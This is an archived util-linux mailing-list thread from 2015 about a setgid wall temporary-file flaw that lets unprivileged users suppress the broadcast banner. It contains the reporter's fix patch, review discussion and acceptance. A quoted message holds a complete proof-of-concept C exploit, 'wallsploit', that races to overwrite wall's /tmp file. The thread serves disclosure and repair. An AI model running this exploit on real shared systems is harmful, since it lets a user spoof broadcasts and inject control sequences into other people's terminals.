Re: util-linux: wall security issue: unprivileged users can suppress banner

Re: util-linux: wall security issue: unprivileged users can suppress banner

[Karel Zak]

On Fri, Mar 27, 2015 at 07:27:07PM +0100, Jann Horn wrote:
> I found a (tiny) security issue in wall that an unprivileged user can use
> to suppress the banner and send arbitrary bytes (and thereby mess up other
> people's terminals with colors and stuff). Do you want to treat this as a
> security issue and keep it private until a fix is released or should I
> resend this message to util-linux@vger.kernel.org?

I think we can discus it publicly, it does not seem like fatal
security issue, from my point of view it seems like security
disadvantage :-) 

Note that I'm not sure how often is wall installed with setgid, for
example on Fedora only superuser can write to another terminals.

(See below for patch review.)

    Karel


> wall normally runs setgid, but not setuid. This means that any file
> created by wall is accessible for the user running wall. wall writes the
> banner and filtered input from the user to a temporary file, then writes
> data from the temporary file to everyone's terminals without further
> filtering. This means that the user can bypass the filtering by writing
> to the temporary file directly.
[...]

> From 96d238cad0151a4cd271ab38d1f47a82c58dc313 Mon Sep 17 00:00:00 2001
> From: Jann Horn <jann@thejh.net>
> Date: Fri, 27 Mar 2015 19:13:09 +0100
> Subject: [PATCH] fix wall: Do not use a temporary file.
> 
> The issue with using a temporary file in wall is that wall runs as setgid.
> This means that an unprivileged user who runs wall can modify wall's
> temporary files, even if those are mode 0600, so the unprivileged user can
> edit and effectively suppress the banner.
> The fix is to simply not use temporary files.
> ---
>  term-utils/wall.c | 80 ++++++++++++++++++++++++++++++++-----------------------
>  1 file changed, 47 insertions(+), 33 deletions(-)
> 
> diff --git a/term-utils/wall.c b/term-utils/wall.c
> index 387594c..666b4b0 100644
> --- a/term-utils/wall.c
> +++ b/term-utils/wall.c
> @@ -181,14 +181,42 @@ int main(int argc, char **argv)
>  	exit(EXIT_SUCCESS);
>  }
>  
> +static void buf_append(char *data, char **buf, size_t *size, size_t *used)
> +{
> +	size_t data_len = strlen(data);
> +	while (data_len > *size - *used) {
> +		*size = 2 * *size;

 How do you know that "2 * size" is enough for data_len?

> +		*buf = xrealloc(*buf, *size + 1);
> +	}
> +	strcpy(*buf + *used, data);
> +	*used += data_len;
> +}
> +
> +static void buf_append_careful(int c, char **buf, size_t *size, size_t *used)
> +{
> +	char cbuf[10];
> +
> +	if (isprint(c) || c == '\a' || c == '\t' || c == '\r' || c == '\n')
> +		sprintf(cbuf, "%c", c);
> +	else if (!isascii(c))
> +		sprintf(cbuf, "\\%3o", (unsigned char)c);
> +	else {
> +		cbuf[0] = '^';
> +		cbuf[1] = c ^ 0x40;
> +		cbuf[2] = '\0';
> +	}
> +	buf_append(cbuf, buf, size, used);
> +}
> +
>  static char *makemsg(char *fname, char **mvec, int mvecsz,
>  		     size_t *mbufsize, int print_banner)
>  {
>  	register int ch, cnt;
> -	struct stat sbuf;
> -	FILE *fp;
> -	char *p, *lbuf, *tmpname, *mbuf;
> +	char *p, *lbuf;
>  	long line_max;
> +	char headerbuf[TERM_WIDTH + 20];

btw, we have get_terminal_width() in "ttyutils.h"

> +	size_t buf_used = 0, buf_size = 1024;
> +	char *buf = xmalloc(buf_size + 1);
>  
>  	line_max = sysconf(_SC_LINE_MAX);
>  	if (line_max <= 0)
> @@ -196,11 +224,6 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
>  
>  	lbuf = xmalloc(line_max);
>  
> -	if ((fp = xfmkstemp(&tmpname, NULL)) == NULL)
> -		err(EXIT_FAILURE, _("can't open temporary file"));

if you replace xfmkstemp() with open_memstream() than you don't need
all the buf_append() changes. libc is able to use FILE as in memory
buffer for fprintf-like function :-)

> -	unlink(tmpname);
> -	free(tmpname);
> -
>  	if (print_banner == TRUE) {
>  		char *hostname = xgethostname();
>  		char *whom, *where, *date;
> @@ -233,14 +256,17 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
>  		 */
>  		/* snprintf is not always available, but the sprintf's here
>  		   will not overflow as long as %d takes at most 100 chars */
> -		fprintf(fp, "\r%*s\r\n", TERM_WIDTH, " ");
> +		sprintf(headerbuf, "\r%*s\r\n", TERM_WIDTH, " ");
> +		buf_append(headerbuf, &buf, &buf_size, &buf_used);
>  		sprintf(lbuf, _("Broadcast message from %s@%s (%s) (%s):"),
>  			      whom, hostname, where, date);
> -		fprintf(fp, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);
> +		sprintf(headerbuf, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);

it would be probably better to use 

        snprintf(headerbuf, sizeof(headerbuf), ....)

or use the real terminal width than sizeof().

> +		buf_append(headerbuf, &buf, &buf_size, &buf_used);
>  		free(hostname);
>  		free(date);
>  	}
> -	fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> +	sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> +	buf_append(headerbuf, &buf, &buf_size, &buf_used);
>  
>  	 if (mvec) {
>  		/*
> @@ -249,12 +275,11 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
>  		int i;
>  
>  		for (i = 0; i < mvecsz; i++) {
> -			fputs(mvec[i], fp);
> +			buf_append(mvec[i], &buf, &buf_size, &buf_used);
>  			if (i < mvecsz - 1)
> -				fputc(' ', fp);
> +				buf_append(" ", &buf, &buf_size, &buf_used);
>  		}
> -		fputc('\r', fp);
> -		fputc('\n', fp);
> +		buf_append("\r\n", &buf, &buf_size, &buf_used);
>  
>  	} else {
>  		/*
> @@ -284,33 +309,22 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
>  			for (cnt = 0, p = lbuf; (ch = *p) != '\0'; ++p, ++cnt) {
>  				if (cnt == TERM_WIDTH || ch == '\n') {
>  					for (; cnt < TERM_WIDTH; ++cnt)
> -						putc(' ', fp);
> -					putc('\r', fp);
> -					putc('\n', fp);
> +						buf_append(" ", &buf, &buf_size, &buf_used);
> +					buf_append("\r\n", &buf, &buf_size, &buf_used);
>  					cnt = 0;
>  				}
>  				if (ch == '\t')
>  					cnt += (7 - (cnt % 8));
>  				if (ch != '\n')
> -					fputc_careful(ch, fp, '^');
> +					buf_append_careful(ch, &buf, &buf_size, &buf_used);
>  			}
>  		}
>  	}
> -	fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> +	sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> +	buf_append(headerbuf, &buf, &buf_size, &buf_used);
>  
>  	free(lbuf);
> -	rewind(fp);
> -
> -	if (fstat(fileno(fp), &sbuf))
> -		err(EXIT_FAILURE, _("stat failed"));
> -
> -	*mbufsize = (size_t) sbuf.st_size;
> -	mbuf = xmalloc(*mbufsize);
> -
> -	if (fread(mbuf, 1, *mbufsize, fp) != *mbufsize)
> -		err(EXIT_FAILURE, _("fread failed"));
>  
> -	if (close_stream(fp) != 0)
> -		errx(EXIT_FAILURE, _("write error"));
> -	return mbuf;
> +	*mbufsize = buf_used;
> +	return buf;
>  }
> -- 
> 2.1.4
> 

> #include <unistd.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <dirent.h>
> #include <fcntl.h>
> #include <signal.h>
> #include <time.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> 
> static long long nanotime(void) {
>   struct timespec t;
>   clock_gettime(CLOCK_MONOTONIC_COARSE, &t);
>   return t.tv_sec * 1000000000 + t.tv_nsec;
> }
> 
> int main(int argc, char **argv) {
>   if (argc < 2) {
>     puts("usage: ./wallsploit <path to wall>");
>     return 1;
>   }
>   char *wallpath = argv[1];
> 
> again:
>   puts("trying...");
>   int fds[2];
>   if (pipe(fds)) return puts("pipe failed"), 1;
>   pid_t child = fork();
>   if (child < 0) return puts("fork failed"), 1;
>   if (child == 0) {
>     close(fds[1]);
>     if (dup2(fds[0], 0) != 0) return puts("dup2 failed"), 1;
>     close(fds[0]);
>     execlp(wallpath, "wall", NULL);
>     return puts("execlp failed"), 1;
>   }
>   close(fds[0]);
>   long long end = nanotime() + 100000000;
>   if (chdir("/tmp")) return puts("chdir failed"), 1;
>   DIR *d = opendir(".");
>   int n = 0;
>   do {
>     if (++n >= 1000) n = 0;
>     struct dirent *dent;
>     while ((dent = readdir(d))) {
>       if (strncmp(dent->d_name, "wall.", 5) == 0) {
>         int fd = open(dent->d_name, O_RDWR);
>         if (fd >= 0) {
>           puts("got fd!");
>           usleep(10000);
>           struct stat orig_stat, new_stat;
>           if (fstat(fd, &orig_stat)) return puts("fstat"), 1;
>           while (1) {
>             if (write(fds[1], "\n", 1) != 1) return puts("writing padding"), 1;
>             usleep(10000);
>             if (fstat(fd, &new_stat)) return puts("fstat"), 1;
>             if (orig_stat.st_size != new_stat.st_size) {
>               puts("padding complete");
>               ftruncate(fd, 0);
>               char c;
>               while (read(0, &c, 1) == 1) {
>                 if (write(fd, &c, 1) != 1) return puts("writing data"), 1;
>               }
>               puts("overwrite done, letting wall finish...");
>               close(fds[1]);
>               wait(NULL);
>               return 0;
>             }
>           };
>         }
>         puts("saw dentry, but too late :(");
>       }
>     }
>     rewinddir(d);
>   } while (n == 0 || nanotime() < end);
>   if (kill(child, SIGTERM)) return puts("can't kill"), 1;
>   wait(NULL);
>   close(fds[1]);
>   goto again;
>   return 0;
> }



-- 
 Karel Zak  <kzak@redhat.com>
 http://karelzak.blogspot.com

Re: util-linux: wall security issue: unprivileged users can suppress banner

[Jann Horn]

[-- Attachment #1: Type: text/plain, Size: 7832 bytes --]

On Mon, Mar 30, 2015 at 11:44:47AM +0200, Karel Zak wrote:
> On Fri, Mar 27, 2015 at 07:27:07PM +0100, Jann Horn wrote:
> > I found a (tiny) security issue in wall that an unprivileged user can use
> > to suppress the banner and send arbitrary bytes (and thereby mess up other
> > people's terminals with colors and stuff). Do you want to treat this as a
> > security issue and keep it private until a fix is released or should I
> > resend this message to util-linux@vger.kernel.org?
> 
> I think we can discus it publicly, it does not seem like fatal
> security issue, from my point of view it seems like security
> disadvantage :-) 

Heh, ok.


> Note that I'm not sure how often is wall installed with setgid, for
> example on Fedora only superuser can write to another terminals.

E.g. on Debian, it is.


> > wall normally runs setgid, but not setuid. This means that any file
> > created by wall is accessible for the user running wall. wall writes the
> > banner and filtered input from the user to a temporary file, then writes
> > data from the temporary file to everyone's terminals without further
> > filtering. This means that the user can bypass the filtering by writing
> > to the temporary file directly.
> [...]
> 
> > From 96d238cad0151a4cd271ab38d1f47a82c58dc313 Mon Sep 17 00:00:00 2001
> > From: Jann Horn <jann@thejh.net>
> > Date: Fri, 27 Mar 2015 19:13:09 +0100
> > Subject: [PATCH] fix wall: Do not use a temporary file.
> > 
> > The issue with using a temporary file in wall is that wall runs as setgid.
> > This means that an unprivileged user who runs wall can modify wall's
> > temporary files, even if those are mode 0600, so the unprivileged user can
> > edit and effectively suppress the banner.
> > The fix is to simply not use temporary files.
> > ---
> >  term-utils/wall.c | 80 ++++++++++++++++++++++++++++++++-----------------------
> >  1 file changed, 47 insertions(+), 33 deletions(-)
> > 
> > diff --git a/term-utils/wall.c b/term-utils/wall.c
> > index 387594c..666b4b0 100644
> > --- a/term-utils/wall.c
> > +++ b/term-utils/wall.c
> > @@ -181,14 +181,42 @@ int main(int argc, char **argv)
> >  	exit(EXIT_SUCCESS);
> >  }
> >  
> > +static void buf_append(char *data, char **buf, size_t *size, size_t *used)
> > +{
> > +	size_t data_len = strlen(data);
> > +	while (data_len > *size - *used) {
> > +		*size = 2 * *size;
> 
>  How do you know that "2 * size" is enough for data_len?

I don't. It probably usually is, but if it's not, the while loop is going
to increase the size again and again until it fits.


> 
> > +		*buf = xrealloc(*buf, *size + 1);
> > +	}
> > +	strcpy(*buf + *used, data);
> > +	*used += data_len;
> > +}
> > +
> > +static void buf_append_careful(int c, char **buf, size_t *size, size_t *used)
> > +{
> > +	char cbuf[10];
> > +
> > +	if (isprint(c) || c == '\a' || c == '\t' || c == '\r' || c == '\n')
> > +		sprintf(cbuf, "%c", c);
> > +	else if (!isascii(c))
> > +		sprintf(cbuf, "\\%3o", (unsigned char)c);
> > +	else {
> > +		cbuf[0] = '^';
> > +		cbuf[1] = c ^ 0x40;
> > +		cbuf[2] = '\0';
> > +	}
> > +	buf_append(cbuf, buf, size, used);
> > +}
> > +
> >  static char *makemsg(char *fname, char **mvec, int mvecsz,
> >  		     size_t *mbufsize, int print_banner)
> >  {
> >  	register int ch, cnt;
> > -	struct stat sbuf;
> > -	FILE *fp;
> > -	char *p, *lbuf, *tmpname, *mbuf;
> > +	char *p, *lbuf;
> >  	long line_max;
> > +	char headerbuf[TERM_WIDTH + 20];
> 
> btw, we have get_terminal_width() in "ttyutils.h"

The existing code also used TERM_WIDTH. Also, won't get_terminal_width()
look up the size of one specific terminal, which won't work for wall?


> > +	size_t buf_used = 0, buf_size = 1024;
> > +	char *buf = xmalloc(buf_size + 1);
> >  
> >  	line_max = sysconf(_SC_LINE_MAX);
> >  	if (line_max <= 0)
> > @@ -196,11 +224,6 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> >  
> >  	lbuf = xmalloc(line_max);
> >  
> > -	if ((fp = xfmkstemp(&tmpname, NULL)) == NULL)
> > -		err(EXIT_FAILURE, _("can't open temporary file"));
> 
> if you replace xfmkstemp() with open_memstream() than you don't need
> all the buf_append() changes. libc is able to use FILE as in memory
> buffer for fprintf-like function :-)

Which libcs? The manpage for open_memstream() says something about "not
widely available on other systems". Is that acceptable? The wall code
even avoids the use of snprintf because it "is not always available".


> > -	unlink(tmpname);
> > -	free(tmpname);
> > -
> >  	if (print_banner == TRUE) {
> >  		char *hostname = xgethostname();
> >  		char *whom, *where, *date;
> > @@ -233,14 +256,17 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> >  		 */
> >  		/* snprintf is not always available, but the sprintf's here
> >  		   will not overflow as long as %d takes at most 100 chars */
> > -		fprintf(fp, "\r%*s\r\n", TERM_WIDTH, " ");
> > +		sprintf(headerbuf, "\r%*s\r\n", TERM_WIDTH, " ");
> > +		buf_append(headerbuf, &buf, &buf_size, &buf_used);
> >  		sprintf(lbuf, _("Broadcast message from %s@%s (%s) (%s):"),
> >  			      whom, hostname, where, date);
> > -		fprintf(fp, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);
> > +		sprintf(headerbuf, "%-*.*s\007\007\r\n", TERM_WIDTH, TERM_WIDTH, lbuf);
> 
> it would be probably better to use 
> 
>         snprintf(headerbuf, sizeof(headerbuf), ....)
> 
> or use the real terminal width than sizeof().

Again, at this point, the message is formatted for all terminals at
once, so I'm not sure what "the real terminal width" would be there.


> > +		buf_append(headerbuf, &buf, &buf_size, &buf_used);
> >  		free(hostname);
> >  		free(date);
> >  	}
> > -	fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> > +	sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> > +	buf_append(headerbuf, &buf, &buf_size, &buf_used);
> >  
> >  	 if (mvec) {
> >  		/*
> > @@ -249,12 +275,11 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> >  		int i;
> >  
> >  		for (i = 0; i < mvecsz; i++) {
> > -			fputs(mvec[i], fp);
> > +			buf_append(mvec[i], &buf, &buf_size, &buf_used);
> >  			if (i < mvecsz - 1)
> > -				fputc(' ', fp);
> > +				buf_append(" ", &buf, &buf_size, &buf_used);
> >  		}
> > -		fputc('\r', fp);
> > -		fputc('\n', fp);
> > +		buf_append("\r\n", &buf, &buf_size, &buf_used);
> >  
> >  	} else {
> >  		/*
> > @@ -284,33 +309,22 @@ static char *makemsg(char *fname, char **mvec, int mvecsz,
> >  			for (cnt = 0, p = lbuf; (ch = *p) != '\0'; ++p, ++cnt) {
> >  				if (cnt == TERM_WIDTH || ch == '\n') {
> >  					for (; cnt < TERM_WIDTH; ++cnt)
> > -						putc(' ', fp);
> > -					putc('\r', fp);
> > -					putc('\n', fp);
> > +						buf_append(" ", &buf, &buf_size, &buf_used);
> > +					buf_append("\r\n", &buf, &buf_size, &buf_used);
> >  					cnt = 0;
> >  				}
> >  				if (ch == '\t')
> >  					cnt += (7 - (cnt % 8));
> >  				if (ch != '\n')
> > -					fputc_careful(ch, fp, '^');
> > +					buf_append_careful(ch, &buf, &buf_size, &buf_used);
> >  			}
> >  		}
> >  	}
> > -	fprintf(fp, "%*s\r\n", TERM_WIDTH, " ");
> > +	sprintf(headerbuf, "%*s\r\n", TERM_WIDTH, " ");
> > +	buf_append(headerbuf, &buf, &buf_size, &buf_used);
> >  
> >  	free(lbuf);
> > -	rewind(fp);
> > -
> > -	if (fstat(fileno(fp), &sbuf))
> > -		err(EXIT_FAILURE, _("stat failed"));
> > -
> > -	*mbufsize = (size_t) sbuf.st_size;
> > -	mbuf = xmalloc(*mbufsize);
> > -
> > -	if (fread(mbuf, 1, *mbufsize, fp) != *mbufsize)
> > -		err(EXIT_FAILURE, _("fread failed"));
> >  
> > -	if (close_stream(fp) != 0)
> > -		errx(EXIT_FAILURE, _("write error"));
> > -	return mbuf;
> > +	*mbufsize = buf_used;
> > +	return buf;
> >  }

[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

Re: util-linux: wall security issue: unprivileged users can suppress banner

[Karel Zak]

On Mon, Mar 30, 2015 at 01:21:29PM +0200, Jann Horn wrote:
> On Mon, Mar 30, 2015 at 11:44:47AM +0200, Karel Zak wrote:
> > > +static void buf_append(char *data, char **buf, size_t *size, size_t *used)
> > > +{
> > > +	size_t data_len = strlen(data);
> > > +	while (data_len > *size - *used) {
> > > +		*size = 2 * *size;
> > 
> >  How do you know that "2 * size" is enough for data_len?
> 
> I don't. It probably usually is, but if it's not, the while loop is going
> to increase the size again and again until it fits.

Ah... not sure why, but I have read "while() as "if ()". Sorry.

> > if you replace xfmkstemp() with open_memstream() than you don't need
> > all the buf_append() changes. libc is able to use FILE as in memory
> > buffer for fprintf-like function :-)
> 
> Which libcs? The manpage for open_memstream() says something about "not
> widely available on other systems". Is that acceptable? The wall code

This is good question, we already use mem-streams in libsmartcols (and
cfdisk depends on this functionality since v2.25) and nobody complains. 

uClibc supports mem-streams, not sure if people use util-linux with
about another non-glibc alternatives.

It does not mean that your solution is bad, it was just hint. I have
no problem to accept your solution.

> even avoids the use of snprintf because it "is not always available".

snprintf() is absolutely fine, we use it in util-linux everywhere. The
note in the code is pretty obsolete.

I'm going to review more carefully the patch later this week. Thanks!

    Karel

-- 
 Karel Zak  <kzak@redhat.com>
 http://karelzak.blogspot.com

Re: util-linux: wall security issue: unprivileged users can suppress banner

[Karel Zak]

On Fri, Mar 27, 2015 at 07:27:07PM +0100, Jann Horn wrote:
>  term-utils/wall.c | 80 ++++++++++++++++++++++++++++++++-----------------------
>  1 file changed, 47 insertions(+), 33 deletions(-)

 Applied with a little bit different implementation of the growing
 buffer.

     Thanks!

-- 
 Karel Zak  <kzak@redhat.com>
 http://karelzak.blogspot.com